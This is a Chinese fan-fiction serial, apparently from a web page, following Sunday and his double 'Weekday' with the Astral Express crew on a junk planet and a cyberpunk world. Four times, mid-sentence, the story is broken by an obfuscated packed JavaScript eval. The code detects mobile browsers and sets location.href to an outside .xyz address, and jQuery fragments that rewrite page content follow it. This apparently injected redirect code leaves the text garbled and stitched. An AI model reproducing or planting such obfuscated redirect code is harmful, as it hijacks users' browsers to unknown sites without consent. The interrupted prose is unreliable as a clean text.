#一个不存在的世界# #一个死亡与静默的世界# 23.垃圾星 #天火骤降之时# “咳、咳。” 迷乱的硝烟顷刻遍布车厢，火从尾部燃烧起来，散发出恐怖的光焰。巨大震荡的余波未歇，玻璃碎了满地。 泰坦的长矛贯穿了列车车厢。 电光火石之间，几乎没有人反应得过来，失重的感觉立刻袭来。 随着列车哐当坠地，他遭惯性甩出，落在了黑暗的树林里，几秒间大概摔出了近百米的距离，直到反手甩出光刺勉强使自己停了下来，已经离列车很远了。 等他强撑着站起来，才发现高空坠落的冲击力致使他的右胳膊折断了，几乎使不出任何力气。还好断裂的骨头没有戳穿肌肤，不然将会非常棘手。 浓重的火焰在树林掩映下直冲天空。 他必须得立刻过去。 星期日想着，撕下衣摆的布料咬在嘴里，用没有受伤的左手拉住布头，快速包扎了下骨折的右臂。他把上臂处的皮革带解开来，固定住绷带。 “等等！” 正当他焦急地要往山坡上走，赶向火焰燃起的地方，突然被叫住了步伐。 “小心后面。” 工作日在他心里提醒道。 他背后的黑暗中，毫无预料地映出一张腐朽的巨脸。 —— 关于记忆。 “记忆是否也是一种虚构呢？” “我们并不知道答案，唯一能够确定的是，被星神注视的人们是否超越他们的命定之数——” “黑天鹅小姐，请快点切入正题吧！我们都等不及了！” “是啊，再不开始的话，烤箱里的布丁蛋挞要糊了哦。” “咳咳咳，好吧。下面我宣布，本次星穹列车忆泡评选大赛正式开始。请各位拿出刻录下你们此行在翁法罗斯的冒险之旅的忆泡吧。由我的右手边开始。 “第一位，星期日先生，欢迎。” —— 关于记忆。 那是一个人心底最私密的东西。 “睡不着了？” 星期日正在排队车厢弹奏钢琴，工作日坐在星空的投影中，静静地听着。 “说不定这次会发生一些不一样的事情呢？比如，一些真正的陨落与毁灭。比如，一些真正的流血与分离。” 星期日停下按下琴键的手。 “你在暗示什么吗？” 工作日笑了笑，绕到他身后勾住了他的肩膀：“我只是，不希望我自己消失罢了。毕竟如果你发生了什么，我也将不复存在。我永远是从你身体里分割出去的一部分，我的眼中，我的心里，也只有你的安危。” “这听起来或许太过自私了点。”他继续说，“所以你还是继续讨厌我吧。” 他的声音慢慢消融。 在琴键上留下了一抹淡淡的金色。 “如果我还继续留在这里的话，你一定会觉得自己这趟行程徒劳无功，然后开始不断地自我反省。我可不希望看见你这样，哎，还是稍稍遂一下你的愿吧。让我暂时回到你的身体里休息会儿，你才能够安心前行。” “别忘记我哦。” 他留下这样一句话，然后自顾自地回到了原初的身体里。 —— “蛋挞要烤焦了！” 帕姆猛地拉开烤箱门，端出来热烘烘的甜点，一边用夹子放到碟子上，一边感叹道：“这次探索翁法罗斯的行程使得列车多节车厢损坏严重，真让人心疼帕。” 三月七将布丁蛋挞分给大家，说道：“列车长别伤心了！姬子姐说，去垃圾星可以找到修补列车的零件，就是要花不少时间。不过这次我们人多力量大，绝对没问题！” “焦了。”丹恒简要评点了一下。 星期日默默地收起自己的忆泡，拿起银叉，对着敦实的布丁蛋挞落下狠狠的一刀。 “既然如此，那么列车的下一站就定为——垃圾星！”帕姆叉起腰，“大家没有意见吧？” “没有！”三月七和星异口同声地回答，嘴里塞满了甜腻的蛋糕。 这是一场圆满的下午茶。 他们接下来观看了丹恒和开拓者的忆泡。当列车车厢断裂的时候，他们恰巧在一起，于是产生了后来一系列的险象环生的惊险旅途。 此处便不多提了，有开拓者在，总是令人放心的。 这次忆泡评选大赛其实是由黑天鹅提议举办的。她在翁法罗斯收集到了精彩的记忆，顺带挖掘了有关星神和命途的秘密，心情特别愉快。 除了有一件事，稍稍激发了她的好胜心。她知道，在翁法罗斯的时候，星期日的那个“另一个自己”也干了些大事，但星期日现在不愿意让他出来，所以她没有办法获取到他的记忆。 不完整的记忆。 味道会有所逊色。 黑天鹅将手搭上膝盖，幽深的瞳孔衬托着她神秘的气质。她总会找到一个机会的，让另一个星期日出来捣捣乱。 —— 星期日躺在浴池中，温热的水漫过他的肩膀，雾气缭绕。浴室的灯调暗了，这样的氛围更让人昏昏欲睡。 不知不觉间，他枕着光滑的浴缸壁睡着了，有些像躺在入梦池中，期待着光怪陆离的梦境。 第二天，列车顺利抵达垃圾星。 他们的任务是在这成堆的垃圾当中找到列车原初的零件。这些零件在「开拓」尚未陨落的年代被制造出来，安装到列车之上，久而久之地具有了「开拓」的力量。随着车轮转动、车笛鸣响，走过一个又一个星球，跨过一道又一道银轨，它们逐渐磨损、老化，难以逃脱报废和更换的命运。 整个宇宙的许多垃圾都被运输到了这颗垃圾星来，这儿土生土长的人们夜以继日地焚烧或是填埋它们，然后高耸的垃圾山堆叠，一代一代出生的孩子们开始开凿山体，在其中钻出洞穴作为安居之地。 阿基维利陨落之后，曾经那些被丢弃的列车零件变得宝贵起来。如今全新工业化流水线制造的部件终究不如有星神祝福的那些来得好用。 “哇！” 三月七对着几百米高的垃圾山发出长长的感慨：“这得挖到什么时候啊？” 星期日从翁法罗斯返回列车之后，就感觉心口隐隐作痛。工作日不再随意出声，也不再尝试从他身体里分裂出来。 明明是件好事。 但不知为何他竟然反而感到有些不适应了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795071|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在翁法罗斯时…… “小三月，不用担心。”姬子对着三月七笑了笑，“作为星穹列车的乘客，我们拥有着一项别人所没有的馈赠——那就是，与「开拓」密切相连的感应。我们依凭列车所做的一切，都是在践行「开拓」的道路。” “哎呀，姬子姐，你讲得好深奥啊！”三月七挠了挠头，“不过意思就是，我们和「开拓」心有灵犀，对吧？” “没错。”姬子点点头。 开拓者打了个响指：“我懂了。我们就是人形金属探测仪！只不过探测的是，「开拓」！” 列车组的其他人笑作一团。 “没想到有朝一日，竟然我也踏上了「开拓」的半条边，连我自己的「记忆」都变得过于独特起来了。” 黑天鹅神龙见首不见尾地闪现到了星期日的旁边。星期日讳莫如深地瞧了她一眼，对于忆者，他可放不下本能的提防之情。 “孩子，你的记忆又是什么独特的味道呢？”黑天鹅凑近了他。 星期日顿了顿，严肃地回道：“或许我本该留在那里，作为我的应许之地。我们的命运在诞生之初就已被写定，那么记忆又有何意义呢？不过是对一篇既成的文本删繁就简罢了。” 他的声音带着一丝自我怀疑。 “好了，地图画好了。”开拓者突然打断了他们，“每个人负责一块区域，掘地三尺，不能放过一寸。” 星期日接过开拓者递来的地图，确定了自己被分配的地方。 黑天鹅悠悠地飘走了，留下一句忠告：“这宇宙间有人相信命运不可更改，亦有拼尽全力反抗命运，何种命运，取决于你自己的选择。” 星期日并没有对她的话做出反应，他素来觉得忆者信不过，更不可能采纳忆者的建议。忆者最擅长牵丝搭线，谁知道他们究竟在计划什么呢？ 他回头望向眼前的垃圾山。 “垃圾桶里不能有垃圾。” 小时候开的玩笑居然以一种意外的方式实现了，因为垃圾都来到了垃圾星，自然垃圾桶里没有垃圾了。 星穹列车的古旧零件可能早就被扔进了焚烧炉，或者被卖到了二手市场，真的可以在这里找到吗？ 这是一个很好的疑问。 但大概列车组的成员们来这里也不是为了找零件。星期日看见开拓者、三月七和丹恒在垃圾山顶卷起废报纸当雪球，互相打闹追逐着。□□和姬子则找了处好地方，欣赏日光。黑天鹅不知道去哪里了。 大家好像只是想找个地方休息一下。 星期日静静地站在那里看了他们片刻，忽然觉得自己还是太拘谨了，无法坦诚地放下一切去行事。 可能，这就是他的本色吧。 星期日正准备蹲下来，尝试在垃圾堆里不抱什么希望地翻找一下，后头传来一连串的奇怪声响。 他转头一看，对上黑洞洞的枪口。 “嘿，它宝贝的，居然是你。” 波提欧压低了枪，指头扣在扳机上，谨慎地没有松开。他嘴里咬着一颗铜色的子弹，色泽明亮。 “告诉我，星穹列车列车的人在哪？” 波提欧大声问道。 24.垃圾星（2） “啊？” 对方挑了挑眉，发出一声短促的感叹。 星期日面不改色地指了指正在垃圾山顶来回奔跑、尽显活力气息的开拓者。 这位巡海游侠猛地抬手一转枪的轮盘，发出咔嚓咔嚓的连贯声响，星期日谨慎地盯住他的动作，若是对方出击，他会及时做出反应。 他们当时在匹诺康尼时处于对立阵营，星期日觉得波提欧大概不会对他有什么好脸色。 但波提欧愉快地将枪收进枪套，甩了甩帽子，笑道： “没想到传言竟然是真的，兄弟，你加入星穹列车了？你看起来简直大变样子，怎么说呢，怪不一样的。” 星期日轻轻地咳了一声，回说：“我只是一介平凡人士，担不上无名客的殊荣。” 关于他还没有资格踏上「开拓」之路，每每有人提起，星期日都得解释一遍。 然而波提欧置若罔闻地一个劲继续说道：“比起在匹诺康尼的时候，你的精气神和善多了，不过你怎么一幅愁眉苦脸的表情？放心，我只是来找人的，不是来寻仇的。” 星期日在心底想着，他举起枪对准自己的样子，这话很难让人信服。 波提欧迈出半步走近星期日，却突然一晃脑袋，扬起后头的长发： “哎呦喂，这儿的垃圾味实在太他宝贝的——” 银色牛仔打了个带着机油味的喷嚏。 “太他宝贝的好闻了！” “你们这帮人的脑瓜子怎么想出来这么可爱的地方度假的，有意思极了啊。” 波提欧拧了拧发痒的鼻子，然后热情地揽住星期日的肩膀晃了晃，他好像想用这自来熟的态度反复证明了之前的枪口朝向问题纯属误会。 “星穹列车造访此处是为了……” 星期日来不及再次强调自己的搭车客身份，就被他一巴掌拍在后背上，踉踉跄跄地往前一跌，心跳恍惚一坠。 “呕——” 他的嗓子不由自主地发出了怪声，砰的一下，工作日从他的身体里直直摔了出来，许是因为波提欧那一巴掌拍得过于用力了些。 “咦，我怎么又出来了？” 工作日勉强站定摇摇晃晃的身子，然后捂住鼻子，耳羽疯狂扇动：“这垃圾山的味道可真是难闻。” 波提欧看着两张一模一样的脸，如他这般见多识广的银河流浪客都不免为之一惊。 不过是惊奇，不是惊骇。这小儿科的伎俩还吓不倒他。 波提欧津津有味地打量起两个人：“星期日老兄，虽然你造的梦里面光怪陆离的事情实在太多，但总的理念谈不上有错，我本来觉得你是个爱整什么普度众生的家伙，原来你也是个乐子人啊！居然能够整出了两个自己。” 星期日解释说：“他的出现并非出于我的本愿，并且现今我难以使他消失。” “你竟然还没有放下处理掉我的想法吗？”工作日委屈地捂住胸口，看向星期日，“我以为经历了翁法罗斯之役后，你已经完全接受我了。” “你是从我灵魂中分离出来的半缕，本就不该存在。”星期日严肃地强调。 工作日转过头来对波提欧抱怨：“他就是这样正义守序，容不得半点偏差。” 波提欧帮腔：“要我说，这小子挺有趣的，他的表情可他宝贝的灵动多了！” 星期日面对两个人的夹击，选择了适当沉默。他第二次确认了一个事实：他和巡海游侠对付不来。 波提欧在一通胡拉乱扯终于想起了自己的正事，冲着垃圾山顶大声喊道，层层叠叠的垃圾都为之一震。 开拓者和其他人从山顶呼啦滑下来，听波提欧讲清楚了原委。原来他在隔壁的朋克星维修义体，听说星穹列车在附近，于是决定过来打个招呼。 “欢迎欢迎。”开拓者摇摇手臂，“一起来玩呐。” “我有一个好点子。”波提欧见到大家特别开心，咧开他的鲨鱼齿，打了个响指，“哥们姐们，一起去泡温泉吧！” 垃圾星有一个远近闻名的垃圾浴场，整个建筑利用废旧垃圾搭建而成，别具一番艺术风味，引来不少星际游客前来体验。 据说，在垃圾浴池泡澡，可以使人的精神和□□焕然一新。为了验证这个传言，大家一致同意了波提欧的提议。 说实话，开拓者他们几个在垃圾堆里翻了半天，没找到什么有用的东西。因为玩得太高兴了，所以后来干脆将这个任务抛之脑后了。 玩得开心，才是最重要的。 姬子大概会如是说。 列车组的大家没有忘记询问星期日的意见，而星期日表示乐意参与。热热闹闹地去浴场泡澡，对于他来说，有点像是地图上的未解锁区域，充满了深不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799497|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测的“危险”。 但在离开匹诺康尼时，他下定过决心，要勇敢尝试，所以不会拒绝。 星期日将闪光的羽毛夹回随身携带的硬壳书里，妥妥帖帖地放进浴池的储物柜中。 他合上柜门，接着看见那张熟悉的脸。 “我一直觉得你这新衣服很有趣。” 工作日眼眸亮亮地说道，他一把拉过星期日的胳膊，顺着腕子一路往上，攀援过被黑色长手套紧紧包裹的小臂，然后轻轻地滑进了敞开的袖口里。 “袖口开在半臂处，很容易让人产生什么想法。”他慢条斯理地说道，“我真是，想着这样做很久了。” 星期日闷哼了一下。 “你故意的吗？” “当然。” 工作日抿嘴一笑：“我来帮你脱掉这身累赘的衣服吧，让我们的灵魂赤忱相对。” “我们生为一体。”星期日尝试推开工作日，“没有什么灵魂的区别。我就是你，你就是我。” “那为什么在翁法罗斯的时候。”工作日冷笑着抓紧了星期日的手臂，“你会为我的死亡而哭泣呢？” —— ＃黑潮降临之时＃ 相对于暴力非凡的纳努克和岚，希佩可谓平和多了。所以面对泰坦的巨锤，星期日能够做的很有限。如果是克里珀在这里，那才算是针尖对麦芒。 锋利的矛枪直冲他而来。 黑潮使得翁法罗斯的泰坦丧失了神智，这种精神污染，他无法用同谐的力量来进行调律。甚至他深深地怀疑翁法罗斯类似于封闭的培养皿，即便真的想要召唤希佩的帮助，祂根本无法听见。 星期日闪身躲避。 巨神泰坦的身形和力量是他数百倍，更有所谓神力加持，他几乎不是对手，只得勉强逃离。 然而地动山摇，无路可退。 泰坦撑起身子，迈开沉重的步伐，祂的落脚无情地践踏着所有生物。祂张开虬曲的健硕双臂，黄金般璀璨的长矛以千计数，纷纷扬扬地落向地面。 笔直地、凶猛地。 贯穿了他的…… 但是那一个从灵魂中分裂出来的另一个自己挡在了本体面前，毫无保留地像母亲于战火中以血肉身躯笼罩孩子，为他抵住了死亡的长枪。 金色的枪尖戳出了心脏。 滴落黑色的鲜血。 25.垃圾星（3） 工作日用力捏了捏星期日的脸颊。 不是很有肉.感，或者说，能够一把摸到骨头。说不上瘦骨嶙峋，但仿佛满溢着脆弱。他的指腹静悄悄地贴着肌肤，呼吸的气息将它染红。 “你的手太冰凉了。”星期日评价道。 “这个嘛。”工作日依旧笑着，“我的手就是你的手，我的温度就是你的温度，所以是你的心太冷了。” 他的手顺着脸颊骨延展的方向往后，滑到了耳后那块柔软的区域。藏在头发里的隐秘部位密布着敏感的神经丛梢，轻轻一碰便会颤抖起来。羽管根部比寻常的血肉稍微健实一些，揉起来的感觉也更切实。 那儿平时都紧绷着，因为他的精神很久没有松懈下来过了。 无论是做铎音的时候，还是做家主的时候；无论是决定自我献祭的时候，还是陨落深暗的时候——他怎么可能放轻松心态。愤怒、悲戚、痛苦、狂喜，太多的杂音，只会让他应接不暇，逼迫着自己不许停下。 工作日这样给他一按，星期日骤然觉得脑后酥酥麻麻的，身体忍不住颤动起来，好像无比醉心这种细小的生理欢愉。 可表面上还是一幅口是心非的样子：“住手。” “真的吗？”工作日一拨软绵绵的灰色羽毛，“你真的想要我住手吗？” 换好浴袍的丹恒从他们身旁悠悠飘过：“请不要在浴池换衣间嬉笑打闹。” 星期日面色一沉，让人猜不透他究竟是高兴还是不高兴。工作日想了想，识趣地松了手，观察着他慢慢地从关节处褪下长手套。 他是尤其偏爱典雅和繁复的风格的，衣服穿起来耗时，脱起来也费劲。 手套的边沿在皮肤勒出一圈淡淡的痕迹，他的手像是宝物一样，一般人看不得。毕竟曾经是需要仰视的家主，怎么能轻易让人看到肌肤呢。 这多少有点保守了，工作日想着。 但看看他的白西服，保守得也不相上下。 —— 浴池的砖石都是用旧纸张压缩制造而成的，算是某种废物利用，很符合垃圾星的氛围。 工作日一直依偎在星期日的旁边，不肯保持克制的距离。现在星期日由着他来，他也便没什么拘谨的了。 波提欧的金属身子泡在温热的水中，洗刷一净，他一边用义体传感器享受着泡澡的愉悦，一边抬起眼皮瞧着那两张一模一样的脸几乎保持着同样的表情。 怪，是真的有点儿怪。 星期日拿毛巾耐心地给工作日擦沾了水的耳羽，他的三对耳羽打理起来可费功夫了。工作日故意在星期日凑近的时候，抖了抖它们，结果溅了星期日一脸水花。 波提欧靠在浴池壁上，颇有兴味地问道：“怎么，你在匹诺康尼待不下去了？听丹恒哥们讲，你离开匹诺康尼后跟着他们一路到了那个什么翁法罗斯？那个大忽悠忆者随便忽悠了你们两句，你们还真去啊？” 星期日放下毛巾，回说：“四处走走，见识一下宇宙罢了。不同的地方有不同的风景。我为之前在梦中为您造成了行程上的麻烦致歉。” “那倒算不得什么，反正我也是浪迹银河。老待在同一个地方不动，脑子是会变迟钝的。”波提欧咂咂舌，“不过说到这个，喵的，忍不住就回忆起了很久以前的事。哎，狂野的风，狂野的沙，狂野的酒！” 他继续说：“忠告你一句，可别和那群公司的小可爱混在一起，他们可是出了名的吃肉不吐骨头。” 星期日浅吸一口气，不愿和他虚与委蛇，直截了当地承认了：“实不相瞒，我能离开家族的监禁，正是家妹与公司做的交易。公司给予了我新生的机会，我也在思考他们会索求怎样的报酬。” 波提欧眼角一挑：“善意、善意，这两个字你最懂吧？你想创造的愿景不坏，只是选择一条曲折的道路。凡事啊，并不是都只有一条道路，得靠你自己领悟。” 旁边盘起腿沉默打坐的丹恒忽然发出一声赞许的“嗯”声。 —— 泡完澡之后，热心十足的波提欧又说见到老朋友们很开心，要去隔壁朋克星不醉不归。 于是大家决定干脆再一起去逛逛，采购些特产，顺带欣赏下朋克世界的风景，反正现在星穹列车没什么紧急的任务。他们乘坐波提欧的飞船一起去到了这座钢铁森林般的城市。 与垃圾星毗邻的朋克星拥有高速发展的科技和丰富的人口，霓虹灯彻夜照亮整座城市。 那儿和匹诺康尼颇为相像，一部分的地方沉浸于纸醉金迷中，一部分的地方挣扎在穷困潦倒中。 刚下车，大家就看到一根笔直向他们倒塌而来的巨型电线杆，然后发现眼前的大楼持续坠亡，砸成脆弱的小立方体，落在眼睛盯着地面移动的行人头顶。 他们花了好久才意识到——其实也没有很久，三十秒罢了——这是一场每天固定时间开启的娱乐那些住在白色玻璃铺成的大厦的顶端的上层人的灯光秀，同时用来欢迎造访的旅客，展示这颗星球引以为傲的赛博技术。 这不禁让开拓者更为激动地想要充分探索这颗星球：“好嘞，星穹列车小分队，出发！” “我准备好了！”三月七掏出相机，比了个耶，“巡海游侠请客，大喝特喝！” 波提欧惊呼：“他宝贝的，我可没说请客啊。” “那个——”但是星期日温雅地表示了拒绝的意思，“在下自知不胜酒力，若一同前往难免扫兴，请容许今夜自由行动。” 星期日不怎么擅长饮酒，本来担心自己会妨碍到大家喝酒的心情。每个人都有自己适合的地方，所以酒吧大概如何都不是适合他的地方。 况且，关于要去哪里这件事，他也有自己的计划。 “行。”开拓者爽快地点点头。 经过一段时间的相处，列车组的各位大致摸清楚了星期日别扭的脾性，并没有勉强他。丹恒想了想，掏出来了本薄薄的书，开拓者抢先拿过来转交给了星期日。 星期日接过来，发现是一本朋克星旅游导览手册。 “玩得愉快！”大家挥挥手。 星期日点点头，照样说再见。 —— 他看着地图，往下城区的方向去，工作日安静地跟在他后面。他们走过俯冲而下的黑色巨翼电子鸟，然后是红色的、棕色的、蓝色的、绿色的霓虹光彩，最后它们的色块逐渐分割减小，变成漆黑的影子。 匹诺康尼是富有资本气息的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807285|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦，而这座星球则沉醉在赛博代码的虚幻救赎当中。 星期日来到了一处义体零件杂货铺。 “想淘点好东西啊。”工作日突然调侃道，“送给谁比较好呢……” 星期日瞥了他一眼：“你不用明知故问。在这里或许能够找到星穹列车的古老部件。在那样以处理垃圾闻名的星球，有价值的物品必定在倾倒之时就被筛捡出来，用以倒卖。虽然过去了很多系统年，成功的希望非常渺茫，但我还是想要试一试。” “你终于学会了坦率地讲出自己的想法。”工作日替他拉开杂货铺的钢铁卷帘门，“不过下次别对我说，对大家说。” 星期日不理会他，弯腰走进店铺，请杂货铺的老板按照他的描述找一找有没有需要的物件。 半个身子义体化了的杂货铺慢悠悠地从躺椅上起身，从仓库里给他翻出了几大盒的零件，哐啷地倒在星期日面前。 膨出的金属眼阴森森地发出电流的声音，盯住了来客的血肉之躯。 “小伙子是外来人吧？考不考虑换个胳膊或者什么腿的？”老板露出他的硅胶牙，“我可以给你介绍便宜实惠的医生。” 星期日冷冷地抬起头，施舍了他一个无感情的瞥视：“不必了，我很喜欢自己现在的样子。” 老板的手指弹了弹锈蚀的齿轮：“这座城市的每个角落里都躺着疯子，不管是住在一千米高空的幕墙后，还是被丢弃在满溢而出的垃圾洞旁，没有什么区别的，大家全部热衷于改造自己的身体，大家一样公平。” 燃油的味道浓郁到可以用腥臭形容。星期日没有发现感兴趣的东西，也不打算继续和这位老板叙谈，决定前往下一家店。 “你这样做无异于大海捞针，完全是白费功夫，想想也是白费功夫吧。”工作日在他耳侧夸张地叹了口气。 “接受不确定性。”他的天环晃动了一下，“秩序的道路不能容纳任何的无序，我要走出新的路，就该尝试着接受的结果不确定性。” 星期日刚走出门就被路上狂奔的小孩撞了个满怀，小孩子闷声不吭，挣扎着竖起上身就跑。 工作日在后头噗嗤一笑：“你怎么这么招小孩子喜欢。” 星期日的余光瞥见穿着反光材质西服的人突然出现在阴暗巷子的另一端。 “哟，抓实验体的来了。”杂货铺的老板不知什么时候来到了门口，边看热闹，边往地上吐了一口唾沫。 那个小孩子的脸被狠狠地按在水泥地上，西服人将一根针管插入他的胳膊。鲜艳的红血顺着管子注入一枚透明的胶囊容器，证明了他人类的身份。 星期日不假思索地快步走过去。 但那西服人如突然出现一般，突然消失，他们对于这片地方的熟悉度显然高过区区外乡来客。 “嘿，这样的事情在我们这样的臭老鼠污水沟可太常见了。”老板哼唧唧地说道，“异星来的家伙，我奉劝你别管上层那些人的闲事。” 星期日充耳不闻地走近了趴在地上的小孩子，扶起了他。 这时他听到附近传来机械的沉重声响，看见来人透过光影闪出身形。 星期日眉头跳了跳，语气凌冽地说道：“我记得你。” 26.要加入星核猎手吗？ “星核猎手，流萤。” 少女收起战甲：“但是一般人习惯于称呼我「萨姆」。嗯，很高兴再次见到您，星期日先生。” “以及……另一位星期日先生？” 她的视线移向旁边抱着手臂看戏的工作日，工作日笑了一下：“这个称呼挺准确的，她果然慧眼金睛。” “匹诺康尼的对决，确实让人印象深刻。”星期日注视着她的眼睛，“不知星核猎手莅临此地有何贵干？” 回忆起以前的事情，星期日对于星核猎手，态度大抵有所保留。 流萤递给那个摔倒的小孩一些金币，小孩接过之后道了谢，然后飞快地跑开了。她重新抬头，对星期日说道：“这里还没有加入公司的信用体系，所以并不使用信用点作为流通货币。但是星际和平公司不会放弃任何一块有利可图的地方，星核猎手正是为此而来。” “不过在这之前……”流萤站在原地不动，“星期日先生，你愿意听我讲一讲我的故事吗？” “曾经的我身为铎音，即便难以与前来祷告者共情，也会出于职责聆听他们的声音，然后给出我的注解。”星期日沉稳地说着，“但如今我作为独立的个人，并不愿随意加以妄言，毕竟我无法感同身受地理解你的处境。” 街角的霓虹灯投射下迷幻的光影。 “只是开个玩笑而已。”流萤笑了笑，“银狼教我这么说的，她说一个玩笑能够令人发笑的关键在于制造反差。” 她居然是那种会开玩笑的人吗？而且还不擅长开玩笑，星期日心想。 “嘿，听听也无妨嘛。”工作日突然插嘴道。 —— 开拓者点了满满一桌子的酒，开始大喝特喝，一扫冒险带来的疲倦和劳累。 大家举着酒杯开始东拉西扯，氛围其乐融融，但是说着说着突然就谈到了星期日。 “总感觉……”开拓者痛饮一大口气泡酒，“好像还没有对我们敞开心扉啊！” 波提欧点了点头：“依我看，他那个拧巴性格，差点让我想要它宝贝的撬开他的小脑瓜子瞧瞧他到底在纠结什么。” “没想到波提欧兄弟竟然如此关心星期日先生。”丹恒拿起了苏乐打饮料，拒绝了饮酒的快乐。他虽然未醉，却也像是醉了，竟然和波提欧称兄道弟起来了。 “怎么说呢。”波提欧灌下一瓶单一麦芽果汁，“我们都看得出来，他不是坏人啊。” “我们还是一起去找他吧！” 开拓者这样提议道。 —— 一个星核猎手、两个星核猎手、三个星核猎手…… “一闪一闪亮晶晶～” 开拓者哼了一段小曲，众人的视线纷纷聚焦到她的身上，她淡然地摆了摆手。 “好吧。”银狼收起游戏机，耸了耸肩，“既然如此，你们星穹列车的人一起来吧。” 开拓者和其他小伙伴交换了一个眼神，决定毅然决然地前往星核猎手的“大本营”——当然，还包括本来就被邀请了的星期日。 以及没被邀请，但默认跟随的工作日。 开拓者找到星期日和工作日时，他们正在下城区的昏暗小巷里和流萤、银狼和刃对话。正确来说，只有流萤和银狼是在说话的，刃对星期日没什么兴趣。 但是刃对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815662|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹恒很有兴趣，所以丹恒婉拒了一起前往的邀请。顾虑到此事，杨叔和姬子也就一并没去，全权交给了开拓者、三月七和波提欧，留下来“看护”丹恒。 想来论战斗力，开拓者一个人能打八百个，应该不成问题。 “没什么好隐瞒的，我们来这里主要是为了阻止公司的大生意。” 银狼带着大家走进了一家地下街机馆，空气中弥漫着人头攒动的闷臭味，方格地板闪烁着电子霓虹光。 “至于究竟是什么生意，等你们体验过后就知道了。” 银狼转身递来几枚亮闪闪的脑机接口插片：“体验你的另一种人生。” “得，我头上的脑机接口就等今天这机会呢。”波提欧摩拳擦掌，拿过了插片，“你们星核猎手总和公司做对，我也总和公司做对，俗话说得好，敌人的敌人就是朋友。” 星期日没动，但是工作日替他接下了。 流萤为了打消大家的疑虑，多解释了一句：“银狼改良的这个装置，可以让使用者「看见」自己命运。具体的形式我无法用言语描述，必须由大家亲身来体会。” “我愿意尝试。” 开拓者这样说了，星期日也没有再拒绝，选择和大家保持同样的步伐。 —— 朦胧的感觉。 像是在胶状物构成的海洋中徒劳地泅游，却被越裹越紧。冰冷而柔滑的液体淌过他周身，仿佛想要把一切痕迹洗去。 星期日缓缓睁开眼睛。 看到眼前是躺在梦池中的知更鸟，静谧的、了无声息的，死去的知更鸟。 他现在，回到了匹诺康尼。 27.欢愉化身 梦境和真实的界限往往让人冥蒙难辨，更妄论这梦中之中的境地。 “啊……” 细碎的痛感扎进他的大脑，抽动神经。 星期日发现自己不得不再度重温一遍那种丧失一切理智和控制的恐怖解离感，这令他感到很不痛快——被人玩弄于掌心。 那时，他是什么样的反应？ 当看见亲爱的妹妹死在自己面前时。 “如果你想哭的话，现在是个好机会。”工作日突然出现在他身后，他们一起进入这个世界。 工作日悄声说道：“这儿没有别人，也没有人在阴影里窥视你，你想做什么都可以。如果你放心不下，在我怀里哭好了。” 星期日闭上眼睛，呼吸了几个来回。 “这就是，星核猎手口中，所谓的「看见」自己的命运？” “一模一样的场景，有什么区别？” 他重新睁开眼睛，态度恢复平静。 “嗯，大概说明你的命运其实一直在原地打转？” 工作日勾起嘴角：“星核猎手不是曾经挺想要招纳你去他们的麾下？结果那张邀请函被你无情地扔进了垃圾桶。” “我不需要一位全心全意撰写「剧本」的人来指引我的方向。”星核猎手从来不是一个考虑选项，星期日很清楚这一点，“我……” 但他突然顿了一下。 “好吧，我来替你说吧——”工作日歪歪脑袋，“被家族拘役、等待审判之时，你宁愿接受死亡的私刑，也不会去做任何人的‘奴隶’。你从没同谁吐露过这一点，他人更无从得知你这点儿阴暗的自毁想法。” “死。” 星期日神色黯然地咬着这个词。 他的视线无尽柔和地落向梦池之中深深长眠的美丽倩影。她的胸口绽放着忆质破碎的残体，构成一道残酷的伤痕，如同张开骨朵的彼岸之花。 “在得知她的死亡之后，有一瞬间，我真的很想要所有人去死。”他说。 工作日轻笑一下：“这个想法可太让人害怕了。” 理智告诉他，这不过是星核猎手利用某种手段制造出来的幻境，他却仍不由自主地深陷其中。 “但是这违背了你想要构筑那个无人苦痛的幸福乐园的初衷。” 星期日的膝盖压在了梦池边沿，他缓缓躬下身，淌进水中，行走到知更鸟身旁。 “所以，自始至终。” 